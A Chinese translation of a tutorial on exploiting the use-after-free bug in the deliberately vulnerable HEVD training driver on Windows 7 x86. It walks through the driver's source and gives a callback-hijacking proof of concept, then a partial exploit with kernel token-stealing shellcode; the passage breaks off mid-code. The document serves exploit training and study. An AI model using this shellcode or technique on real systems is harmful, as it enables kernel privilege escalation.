【翻译】0x02 - Introduction to Windows Kernel Use After Frees (UaFs)
如果你一直在按顺序学习本系列,到目前为止,你应该已经在 Windows 7 (x86) 和 Windows 10 (x64) 中利用了基本的 Stack Overflow。尽管这是一项重大成就,但还有更多可能导致代码执行的漏洞。熟悉它们的最佳方式是在具有最少缓解措施的系统上利用它们。因此,我们将回到 Windows 7 (x86)。
此外,这次我们不会使用 Ghidra,而是使用源代码。在下一个指南中,我们将重新引入 Ghidra,让你了解如何使用源代码或反编译器输出来识别漏洞的宝贵视角。
目录
-
什么是 Use After Free(高级概述) -
使用源代码 - 了解环境 -
理解 AllocateUaFObjectNonPagedPoolIoctlHandler -
理解 UseUaFObjectNonPagedPoolIoctlHandler -
理解 FreeUaFObjectNonPagedPoolIoctlHandler -
理解 AllocateFakeObjectNonPagedPoolIoctlHandler -
函数总结 -
漏洞利用 -
参考资料
什么是 Use After Free(高级概述)
如果你对 Use-After-Free 不是很熟悉,让我们对这类漏洞进行一个快速的高级概述。基本上,Use After Free (UaF) 发生在我们在对象被释放(Free)After 仍然使用(Use)它的情况。这个"对象"可以是内存中加载的任何结构或类,之后被释放。
用一个非技术性的例子来说,假设你在汽车下面工作,并把工具放在你身边。你是倒着工作的,所以你没有注意你的工具箱,你只是简单地伸手到工具箱里摸索你需要的东西。
在你没有注意到的情况下,有人把一罐汽水扔进了工具箱。
当你去拿扳手时,你没有注意到它和罐子之间的区别(因为你有脚蹼,你是一只企鹅)。所以,你最终把可乐倒在了你的新礼服上。
哦不!!我们成为了 UaF 的受害者,那个人成功地利用了 UaF。
这与计算机有什么关系?
-
盲目伸手到工具箱的例子类似于程序依赖内存而不"查看"(验证它是否仍然有效或已更改)的方式。 -
扳手被汽水罐意外替换的情况展示了过时的引用(指针)如何导致意外和有害的结果。 -
扔汽水罐的"那个人"代表攻击者利用已释放的内存(例如,将恶意数据/代码注入重用的内存中)。
有了这些,我们应该准备好开始了。
使用源代码 - 了解环境
我们首先要确定的是 I/O Control Codes 的位置。从外观上看,每个漏洞都有自己的"处理程序"函数。
./ArbitraryWrite.c:129:/// Arbitrary Write Ioctl Handler
./MemoryDisclosureNonPagedPool.c:178:/// Memory Disclosure NonPagedPool Ioctl Handler
./DoubleFetch.c:151:/// Double Fetch Ioctl Handler
./BufferOverflowNonPagedPool.c:165:/// Buffer Overflow NonPagedPool Ioctl Handler
./MemoryDisclosureNonPagedPoolNx.c:177:/// Memory Disclosure NonPagedPoolNx Ioctl Handler
./IntegerOverflow.c:154:/// Integer Overflow Ioctl Handler
./UninitializedMemoryPagedPool.c:216:/// Uninitialized Memory PagedPool Ioctl Handler
./WriteNULL.c:117:/// Write NULL Ioctl Handler
./InsecureKernelResourceAccess.c:148:/// Insecure Kernel File Access Ioctl Handler
./BufferOverflowPagedPoolSession.c:165:/// Buffer Overflow PagedPoolSession Ioctl Handler
./BufferOverflowNonPagedPoolNx.c:165:/// Buffer Overflow NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPool.c:352:/// Allocate UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:376:/// Use UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:400:/// Free UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:424:/// Allocate Fake Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:352:/// Allocate UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:376:/// Use UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:400:/// Free UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:424:/// Allocate Fake Object NonPagedPoolNx Ioctl Handler
./BufferOverflowStack.c:121:/// Buffer Overflow Stack Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:553:/// Create Arbitrary Read Write Helper Object Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:582:/// Set Arbitrary Read Write Helper Object Name Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:611:/// Get Arbitrary Read Write Helper Object Name Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:640:/// Delete Arbitrary Read Write Helper Object Ioctl Handler
./UninitializedMemoryStack.c:160:/// Uninitialized Memory Stack Ioctl Handler
./NullPointerDereference.c:200:/// Null Pointer Dereference Ioctl Handler
./BufferOverflowStackGS.c:121:/// Buffer Overflow Stack GS Ioctl Handler
./TypeConfusion.c:213:/// Type Confusion Ioctl Handler
我们对 UseAfterFreeNonPagedPool I/O Control Codes
感兴趣。
./UseAfterFreeNonPagedPool.c:352:/// Allocate UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:376:/// Use UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:400:/// Free UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:424:/// Allocate Fake Object NonPagedPool Ioctl Handler
根据命名约定,我们可以识别出以下函数:
AllocateUaFObjectNonPagedPoolIoctlHandler(
UseUaFObjectNonPagedPoolIoctlHandler(
FreeUaFObjectNonPagedPoolIoctlHandler(
AllocateFakeObjectNonPagedPoolIoctlHandler(
如果我们追踪这些函数调用的使用位置,我们会发现它们位于 ./HackSysExtremeVulnerableDriver.c
文件中,该文件包含一个 switch 语句,允许我们触发易受攻击的函数。
294 case HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL:
295 DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******n");
296 Status = AllocateUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
297 DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******n");
298 break;
299 case HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL:
300 DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******n");
301 Status = UseUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
302 DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******n");
303 break;
304 case HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL:
305 DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******n");
306 Status = FreeUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
307 DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******n");
308 break;
309 case HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL:
310 DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******n");
311 Status = AllocateFakeObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
312 DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******n");
313 break;
然而,这仍然没有给我们提供 I/O Control Codes
,所以在尝试使用一些 grep-fu 在每个文件中搜索之前,让我们检查一下头文件 HackSysExtremeVulnerableDriver.h
。
在其中,我们找到了一个 IOCTL Codes 列表
81 #define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)
82#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS IOCTL(0x801)
83#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
84#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL IOCTL(0x803)
85#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x804)
86#define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x805)
87#define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x806)
88#define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL IOCTL(0x807)
89#define HEVD_IOCTL_TYPE_CONFUSION IOCTL(0x808)
90#define HEVD_IOCTL_INTEGER_OVERFLOW IOCTL(0x809)
91#define HEVD_IOCTL_NULL_POINTER_DEREFERENCE IOCTL(0x80A)
92#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK IOCTL(0x80B)
93#define HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL IOCTL(0x80C)
94#define HEVD_IOCTL_DOUBLE_FETCH IOCTL(0x80D)
95#define HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS IOCTL(0x80E)
96#define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL IOCTL(0x80F)
97#define HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION IOCTL(0x810)
98#define HEVD_IOCTL_WRITE_NULL IOCTL(0x811)
99#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX IOCTL(0x812)
100#define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX IOCTL(0x813)
101#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x814)
102#define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x815)
103#define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x816)
104#define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX IOCTL(0x817)
105#define HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX IOCTL(0x818)
106#define HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX IOCTL(0x819)
107#define HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX IOCTL(0x81A)
108#define HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX IOCTL(0x81B)
然而,对于本教程,我们将只关注以下内容:
85 #define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x804)
86 #define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x805)
87 #define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x806)
88 #define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL IOCTL(0x807)
理解 AllocateUaFObjectNonPagedPoolIoctlHandler
我们可以在 UseAfterFreeNonPagedPool.c
文件的第 357 行找到这个函数。
357 NTSTATUS
358 AllocateUaFObjectNonPagedPoolIoctlHandler(
359 _In_ PIRP Irp,
360 _In_ PIO_STACK_LOCATION IrpSp
361 )
362 {
363 NTSTATUS Status = STATUS_UNSUCCESSFUL;
364
365 UNREFERENCED_PARAMETER(Irp);
366 UNREFERENCED_PARAMETER(IrpSp);
367 PAGED_CODE();
368
369 Status = AllocateUaFObjectNonPagedPool();
370
371 return Status;
372 }
该函数最终调用AllocateUaFObjectNonPagedPool
,它从第 86 行开始。
86 NTSTATUS
87 AllocateUaFObjectNonPagedPool(
88 VOID
89 )
90 {
91 NTSTATUS Status = STATUS_UNSUCCESSFUL;
92 PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL;
93
94 PAGED_CODE();
95
96 __try
97 {
98 DbgPrint("[+] Allocating UaF Objectn");
99
100 //
101 // Allocate Pool chunk
102 //
103
104 UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag(
105 NonPagedPool,
106 sizeof(USE_AFTER_FREE_NON_PAGED_POOL),
107 (ULONG)POOL_TAG
108 );
109
110 if (!UseAfterFree)
111 {
112 //
113 // Unable to allocate Pool chunk
114 //
115
116 DbgPrint("[-] Unable to allocate Pool chunkn");
117
118 Status = STATUS_NO_MEMORY;
119 return Status;
120 }
121 else
122 {
123 DbgPrint("[+] Pool Tag: %sn", STRINGIFY(POOL_TAG));
124 DbgPrint("[+] Pool Type: %sn", STRINGIFY(NonPagedPool));
125 DbgPrint("[+] Pool Size: 0x%Xn", sizeof(USE_AFTER_FREE_NON_PAGED_POOL));
126 DbgPrint("[+] Pool Chunk: 0x%pn", UseAfterFree);
127 }
128
129 //
130 // Fill the buffer with ASCII 'A'
131 //
132
133 RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
134
135 //
136 // Null terminate the char buffer
137 //
138
139 UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = ' ';
140
141 //
142 // Set the object Callback function
143 //
144
145 UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool;
146
147 //
148 // Assign the address of UseAfterFree to a global variable
149 //
150
151 g_UseAfterFreeObjectNonPagedPool = UseAfterFree;
152
153 DbgPrint("[+] UseAfterFree Object: 0x%pn", UseAfterFree);
154 DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%pn", g_UseAfterFreeObjectNonPagedPool);
155 DbgPrint("[+] UseAfterFree->Callback: 0x%pn", UseAfterFree->Callback);
156 }
157 __except (EXCEPTION_EXECUTE_HANDLER)
158 {
159 Status = GetExceptionCode();
160 DbgPrint("[-] Exception Code: 0x%Xn", Status);
161 }
162
163 return Status;
164 }
让我们从高层次分析这个函数的功能。
-
第91-92行,我们看到声明的变量,其中一个是包含两个成员的自定义结构:一个 function pointer
和一个char buffer[0x54]
。 -
在第94行,我们看到定义了 PAGED_CODE 宏。这个宏将此函数标记为可分页的。这意味着,如果函数不在内存中,它可能会被移动到磁盘上。当操作系统需要为其他任务提供物理内存时会这样做。 -
第104-108行,我们看到调用了 ExAllocatePoolWithTag(),这是一个 Windows API 调用。基本上,它的作用是分配指定类型的"池内存",并返回指向已分配块的指针,正如我们所见,该指针随后被转换。 -
参数 1:这里我们使用 Nonpaged pool,它可以从任何 IRQL 访问,值得注意的是,使用此类型分配的内存是 EXECUTABLE
。 -
参数 2:块的大小。 -
参数 3:池标签,据我了解,这是用于调试目的。我们可以在 common.h 中找到它,表示为 Hack 或"kcaH",因为它必须以相反的顺序指定。 -
第110-127行我们可以忽略,因为它只是对上一个调用进行错误/成功检查 -
在第133行,我们基本上看到了对 RtlFillMemory()
的调用,这是另一个 Windows API(在 nix 中是 memset)。 -
在第139行,我们对填充了 A 的缓冲区进行 NULL 终止。 -
在第145行,我们将函数指针设置为 UaFObjectCallbackNonPagedPool
函数。 -
在第151行,我们将分配对象的地址分配给一个全局变量。
非常直接!我们只是分配一些内存(标记为可执行)来保存PUSE_AFTER_FREE_NON_PAGED_POOL
结构,填充Buffer
成员(字符数组),并设置 Callback 成员(函数指针)。结构定义如下所示:
62 typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
63 {
64 FunctionPointer Callback;
65 CHAR Buffer[0x54];
66 } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
理解 UseUaFObjectNonPagedPoolIoctlHandler
再次,这是一个调用另一个函数的"封装器":
375 /// <summary>
376/// Use UaF Object NonPagedPool Ioctl Handler
377/// </summary>
378/// <param name="Irp">The pointer to IRP</param>
379/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
380/// <returns>NTSTATUS</returns>
381 NTSTATUS
382 UseUaFObjectNonPagedPoolIoctlHandler(
383 _In_ PIRP Irp,
384 _In_ PIO_STACK_LOCATION IrpSp
385 )
386 {
387 NTSTATUS Status = STATUS_UNSUCCESSFUL;
388
389 UNREFERENCED_PARAMETER(Irp);
390 UNREFERENCED_PARAMETER(IrpSp);
391 PAGED_CODE();
392
393 Status = UseUaFObjectNonPagedPool();
394
395 return Status;
396 }
让我们看看UseUaFObjectNonPagedPool()
函数。
171 NTSTATUS
172 UseUaFObjectNonPagedPool(
173 VOID
174 )
175 {
176 NTSTATUS Status = STATUS_UNSUCCESSFUL;
177
178 PAGED_CODE();
179
180 __try
181 {
182 if (g_UseAfterFreeObjectNonPagedPool)
183 {
184 DbgPrint("[+] Using UaF Objectn");
185 DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%pn", g_UseAfterFreeObjectNonPagedPool);
186 DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%pn", g_UseAfterFreeObjectNonPagedPool->Callback);
187 DbgPrint("[+] Calling Callbackn");
188
189 if (g_UseAfterFreeObjectNonPagedPool->Callback)
190 {
191 g_UseAfterFreeObjectNonPagedPool->Callback();
192 }
193
194 Status = STATUS_SUCCESS;
195 }
196 }
197 __except (EXCEPTION_EXECUTE_HANDLER)
198 {
199 Status = GetExceptionCode();
200 DbgPrint("[-] Exception Code: 0x%Xn", Status);
201 }
202
203 return Status;
204 }
好的,非常简单明了。我们只是调用了Callback
函数指针,之前我们看到它在AllocateUaFObjectNonPagedPoolIoctlHandler()
中被设置为UaFObjectCallbackNonPagedPool
。
理解 FreeUaFObjectNonPagedPoolIoctlHandler
我们再次看到这个处理程序不接受任何参数。
405 NTSTATUS
406 FreeUaFObjectNonPagedPoolIoctlHandler(
407 _In_ PIRP Irp,
408 _In_ PIO_STACK_LOCATION IrpSp
409 )
410 {
411 NTSTATUS Status = STATUS_UNSUCCESSFUL;
412
413 UNREFERENCED_PARAMETER(Irp);
414 UNREFERENCED_PARAMETER(IrpSp);
415 PAGED_CODE();
416
417 Status = FreeUaFObjectNonPagedPool();
418
419 return Status;
420 }
让我们看一下FreeUaFObjectNonPagedPool
:
211 NTSTATUS
212 FreeUaFObjectNonPagedPool(
213 VOID
214 )
215 {
216 NTSTATUS Status = STATUS_UNSUCCESSFUL;
217
218 PAGED_CODE();
219
220 __try
221 {
222 if (g_UseAfterFreeObjectNonPagedPool)
223 {
224 DbgPrint("[+] Freeing UaF Objectn");
225 DbgPrint("[+] Pool Tag: %sn", STRINGIFY(POOL_TAG));
226 DbgPrint("[+] Pool Chunk: 0x%pn", g_UseAfterFreeObjectNonPagedPool);
227
228#ifdef SECURE
229 //
230 // Secure Note: This is secure because the developer is setting
231 // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
232 //
233
234 ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
235
236 //
237 // Set to NULL to avoid dangling pointer
238 //
239
240 g_UseAfterFreeObjectNonPagedPool = NULL;
241#else
242 //
243 // Vulnerability Note: This is a vanilla Use After Free vulnerability
244 // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
245 // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
246 // (dangling pointer)
247 //
248
249 ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
250#endif
251
252 Status = STATUS_SUCCESS;
253 }
254 }
255 __except (EXCEPTION_EXECUTE_HANDLER)
256 {
257 Status = GetExceptionCode();
258 DbgPrint("[-] Exception Code: 0x%Xn", Status);
259 }
260
261 return Status;
262 }
在这里我们看到了对一个新的 Windows API 函数 ExFreePoolWithTag
的调用。这个函数只是简单地释放一个带有指定标签 (Hack) 的内存池块,但是我们可以看到全局变量 g_UseAfterFreeObjectNonPagedPool
从未被设置为 NULL。这意味着即使在对象被释放后,g_UseAfterFreeObjectNonPagedPool
仍然包含指向已释放对象的指针。正如源代码中提到的 - 这是一个悬空指针。
理解 AllocateFakeObjectNonPagedPoolIoctlHandler
查看这个处理程序,我们可以看到它在第 441 行接收用户输入。
429 NTSTATUS
430 AllocateFakeObjectNonPagedPoolIoctlHandler(
431 _In_ PIRP Irp,
432 _In_ PIO_STACK_LOCATION IrpSp
433 )
434 {
435 NTSTATUS Status = STATUS_UNSUCCESSFUL;
436 PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject = NULL;
437
438 UNREFERENCED_PARAMETER(Irp);
439 PAGED_CODE();
440
441 UserFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
442
443 if (UserFakeObject)
444 {
445 Status = AllocateFakeObjectNonPagedPool(UserFakeObject);
446 }
447
448 return Status;
449 }
从这里,我们调用 AllocateFakeObjectNonPagedPool
。
270 NTSTATUS
271 AllocateFakeObjectNonPagedPool(
272 _In_ PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject
273 )
274 {
275 NTSTATUS Status = STATUS_SUCCESS;
276 PFAKE_OBJECT_NON_PAGED_POOL KernelFakeObject = NULL;
277
278 PAGED_CODE();
279
280 __try
281 {
282 DbgPrint("[+] Creating Fake Objectn");
283
284 //
285 // Allocate Pool chunk
286 //
287
288 KernelFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)ExAllocatePoolWithTag(
289 NonPagedPool,
290 sizeof(FAKE_OBJECT_NON_PAGED_POOL),
291 (ULONG)POOL_TAG
292 );
293
294 if (!KernelFakeObject)
295 {
296 //
297 // Unable to allocate Pool chunk
298 //
299
300 DbgPrint("[-] Unable to allocate Pool chunkn");
301
302 Status = STATUS_NO_MEMORY;
303 return Status;
304 }
305 else
306 {
307 DbgPrint("[+] Pool Tag: %sn", STRINGIFY(POOL_TAG));
308 DbgPrint("[+] Pool Type: %sn", STRINGIFY(NonPagedPool));
309 DbgPrint("[+] Pool Size: 0x%Xn", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
310 DbgPrint("[+] Pool Chunk: 0x%pn", KernelFakeObject);
311 }
312
313 //
314 // Verify if the buffer resides in user mode
315 //
316
317 ProbeForRead(
318 (PVOID)UserFakeObject,
319 sizeof(FAKE_OBJECT_NON_PAGED_POOL),
320 (ULONG)__alignof(UCHAR)
321 );
322
323 //
324 // Copy the Fake structure to Pool chunk
325 //
326
327 RtlCopyMemory(
328 (PVOID)KernelFakeObject,
329 (PVOID)UserFakeObject,
330 sizeof(FAKE_OBJECT_NON_PAGED_POOL)
331 );
332
333 //
334 // Null terminate the char buffer
335 //
336
337 KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = ' ';
338
339 DbgPrint("[+] Fake Object: 0x%pn", KernelFakeObject);
340 }
341 __except (EXCEPTION_EXECUTE_HANDLER)
342 {
343 Status = GetExceptionCode();
344 DbgPrint("[-] Exception Code: 0x%Xn", Status);
345 }
346
347 return Status;
348 }
让我们分析一下这段代码:
-
第 288-311 行,我们像之前一样分配了一个内存块,但这次是一个"假对象"。仅从结构上看,它与 PUSE_AFTER_FREE_NON_PAGED_POOL 对象大小相同 -
第 317-321 行,我们看到一个新的 Windows API ProbeForRead,它检查用户模式缓冲区是否正确对齐。 -
第 327-331 行,我们使用 RtlCopyMemory 将用户模式缓冲区移动到假对象分配中 -
第 333-347 行,我们对缓冲区进行 NULL 终止并返回。
以下是假对象的参考结构:
68 typedef struct _FAKE_OBJECT_NON_PAGED_POOL
69 {
70 CHAR Buffer[0x58];
71 } FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;
很好,如果你熟悉用户模式漏洞利用,现在你的眼睛可能已经亮起来了。
函数总结
简而言之,这些函数的功能如下:
|
|
---|---|
|
PUSE_AFTER_FREE_NON_PAGED_POOL 结构,填充 Buffer 成员(字符数组),并设置 Callback 成员(函数指针) |
|
g_UseAfterFreeObjectNonPagedPool 中的 Callback 函数指针 |
|
g_UseAfterFreeObjectNonPagedPool 对象,并且没有将变量置 NULL(悬空指针) |
|
|
看到这里,我们有一个经典的 UAF。虽然我从未做过 Windows UAF,但我假设假对象将占用先前分配的内存空间。理论上,要利用这一点,我们只需要:
-
分配一个 USE_AFTER_FREE_NON_PAGED_POOL
对象 -
释放该对象 -
分配一个 FAKE_OBJECT_NON_PAGED_POOL
对象(重新使用已释放的内存) -
调用 g_UseAfterFreeObjectNonPagedPool.Callback
,它应该指向被破坏的结构
漏洞利用
从这里开始,编写概念验证 (PoC) 似乎相当简单,而且由于我们有源代码,这应该很容易(从对象大小方面来说)。
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <windows.h>
#include <psapi.h>
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_ALLOCATE_ROBJ IOCTL(0x804)
#define HEVD_CALL_FPTR IOCTL(0x805)
#define HEVD_FREE IOCTL(0x806)
#define HEVD_ALLOCATE_FOBJ IOCTL(0x807)
typedefstruct _FAKE_OBJECT_NON_PAGED_POOL
{
CHAR Buffer[0x58];
} FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;
void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
DWORD bytesReturned = 0;
printf("[*] Calling IOCTL Code 0x%xn", dIoctl);
DeviceIoControl(hHEVD,
dIoctl,
pBuffer,
dBuffer,
NULL,
0x00,
&bytesReturned,
NULL);
return;
}
char *allocate_buffer()
{
char *buffer = malloc(sizeof(FAKE_OBJECT_NON_PAGED_POOL));
if (buffer != NULL)
{
printf("[*] Allocated %d bytes (userland)n", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
memset(buffer, 0x41, sizeof(FAKE_OBJECT_NON_PAGED_POOL));
}
return buffer;
}
int main()
{
HANDLE hHEVD = NULL;
char *evilBuffer = NULL;
hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");
return-1;
}
evilBuffer = allocate_buffer();
if (evilBuffer == NULL)
{
printf("[*] Failed to allocate evil buffer (userland)n");
return-1;
}
printf("[*] Allocating PUSE_AFTER_FREE_NON_PAGED_POOL objectn");
sendIoctl(hHEVD, HEVD_ALLOCATE_ROBJ, NULL, 0);
printf("[*] Freeing objectn");
sendIoctl(hHEVD, HEVD_FREE, NULL, 0);
printf("[*] Allocating FAKE_OBJECT_NON_PAGED_POOLn");
sendIoctl(hHEVD, HEVD_ALLOCATE_FOBJ, evilBuffer, sizeof(FAKE_OBJECT_NON_PAGED_POOL));
printf("[*] Triggering UAFn");
sendIoctl(hHEVD, HEVD_CALL_FPTR, NULL, 0);
}
发送后,我们可以看到我们已成功劫持了执行流程。
现在由于我们看到 41414141,我们可以假设前 4 个字节是函数指针,我们可以根据源代码 (UseAfterFreeNonPagedPool.h) 确认这一点:
62 typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
63 {
64 FunctionPointer Callback;
65 CHAR Buffer[0x54];
66 } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
让我们编写我们的漏洞利用代码!
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <windows.h>
#include <psapi.h>
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_ALLOCATE_ROBJ IOCTL(0x804)
#define HEVD_CALL_FPTR IOCTL(0x805)
#define HEVD_FREE IOCTL(0x806)
#define HEVD_ALLOCATE_FOBJ IOCTL(0x807)
typedefstruct _FAKE_OBJECT_NON_PAGED_POOL
{
CHAR Buffer[0x58];
} FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;
/* sendIoctl:
Send the IOCTL code to the driver */
void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
DWORD bytesReturned = 0;
printf("[*] Calling IOCTL Code 0x%xn", dIoctl);
DeviceIoControl(hHEVD,
dIoctl,
pBuffer,
dBuffer,
NULL,
0x00,
&bytesReturned,
NULL);
return;
}
/* allocate_buffer:
Creates a userland allocation with the first 4 bytes pointing to the address where our shellcode
was allocated. */
char *allocate_buffer(void *shellcode_addr)
{
char *buffer = malloc(sizeof(FAKE_OBJECT_NON_PAGED_POOL));
if (buffer != NULL)
{
printf("[*] Shellcode located at: %pn", &shellcode_addr);
memcpy(buffer, &shellcode_addr, 4);
memset(buffer+4, 'A', 83);
}
return buffer;
}
int main()
{
HANDLE hHEVD = NULL;
char *evilBuffer = NULL;
char shellcode[] =
// sickle -a x86 -p windows/x86/kernel_token_stealer -f c -m pinpoint
"x60" // pushal
"x31xc0" // xor eax, eax
"x64x8bx80x24x01x00x00"// mov eax, dword ptr fs:[eax + 0x124]
"x8bx40x50" // mov eax, dword ptr [eax + 0x50]
"x89xc1" // mov ecx, eax
"xbax04x00x00x00" // mov edx, 4
"x8bx80xb8x00x00x00" // mov eax, dword ptr [eax + 0xb8]
"x2dxb8x00x00x00" // sub eax, 0xb8
"x39x90xb4x00x00x00" // cmp dword ptr [eax + 0xb4], edx
"x75xed" // jne 0x1014
"x8bx90xf8x00x00x00" // mov edx, dword ptr [eax + 0xf8]
"x89x91xf8x00x00x00" // mov dword ptr [ecx + 0xf8], edx
"x61" // popal
// return to userland code
"x31xc0" // xor eax,eax
"xC3"; // ret
LPVOID lpPayload = VirtualAlloc(NULL,
56,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE);
if (lpPayload == NULL)
{
printf("[-] Failed to create shellcode allocationn");
return-1;
}
memcpy(lpPayload, shellcode, 56);
hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");
return-1;
}
evilBuffer = allocate_buffer(lpPayload);
